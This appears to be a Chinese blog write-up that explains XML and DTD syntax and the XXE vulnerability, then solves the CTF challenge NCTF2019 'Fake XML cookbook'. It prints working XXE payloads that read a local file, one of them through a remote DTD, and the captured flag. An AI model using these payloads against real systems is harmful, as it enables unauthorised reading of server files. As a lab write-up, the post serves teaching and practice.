原理

XXE漏洞全称:XML External Entity Injection,即外部实体注入,大多数情况下是针对XML输入类型的攻击,那么首先了解一下XML是什么

XML

XML全称:Extensible Maekup Language,即可扩展标记语言,主要功能是用来传输于储存数据的,一般采用树形结构,具体语法看着很像HTML。

语法

举个例子

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY test "testxxe">
]>
<test>
<name1>test</name1>
<name2>&test;</name2>
</test>

解释一下,第一行是定义xml解释器的版本和编码类型;第二行声明DTD部分,DTD是用来定义XML实体的模块,类似于一个全局变量集合,其中装着你定义的实体,也可以理解为变量,上述代码定义了test实体,值为”test”。

接下来<test></test>是标签,类似于变量名名,标签内部的数据是变量的值,就比如<name1>test</name1>就是name1变量名的值为”test”。

接下来为<name2>&test;</name2>,也类似,只不过标签内部是test实体的引用,所以标签”name2”的值为”testxxe”
综上所述,上面打印出来的字符串应该为”test”,”testxxe”。

漏洞

语法大概知道了,那么就引入漏洞,既然叫外部实体注入,那漏洞肯定和实体有关,XML中的实体可以运行很多协议,例如http://,file://等等,语法为<!ENTITY test SYSTEM "file:///flag">,这时test实体的值便为flag文件里的内容。
当然如果直接注入被限制的时候,还可以用http协议远程引入DTD。
例如

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY a SYSTEM "http://127.0.0.1.8080/test.dtd">
]>
<name2>&test;</name2>

其中test.dtd的内容如下

1
<!ENTITY test SYSTEM "file:///flag">

这样照样能读到flag

题目复现

复现的题目为[NCTF2019]Fake XML cookbook

初始为登录见面,第一反应试一下弱密码,[admin,password],[admin,123456],[admin,000000]手搓一下弱密码,发现全都不行,那就抓个包。

其中比较重要的部分:
X-Requested-With: XMLHttpRequest,在数据包的第六行,意思是服务器可以解析XML。同时初始传输的数据的就为XML结构(下面的<user></user>),表明了有回显,那么就可以试试XEE了.
构造payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE nebu[
<!ENTITY a SYSTEM "file:///flag">
]>
<user><username>&a;</username><password>1</password></user>

拿到flag:flag{4d896a92-593e-4ac5-8097-e6e8d8e38a81}

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝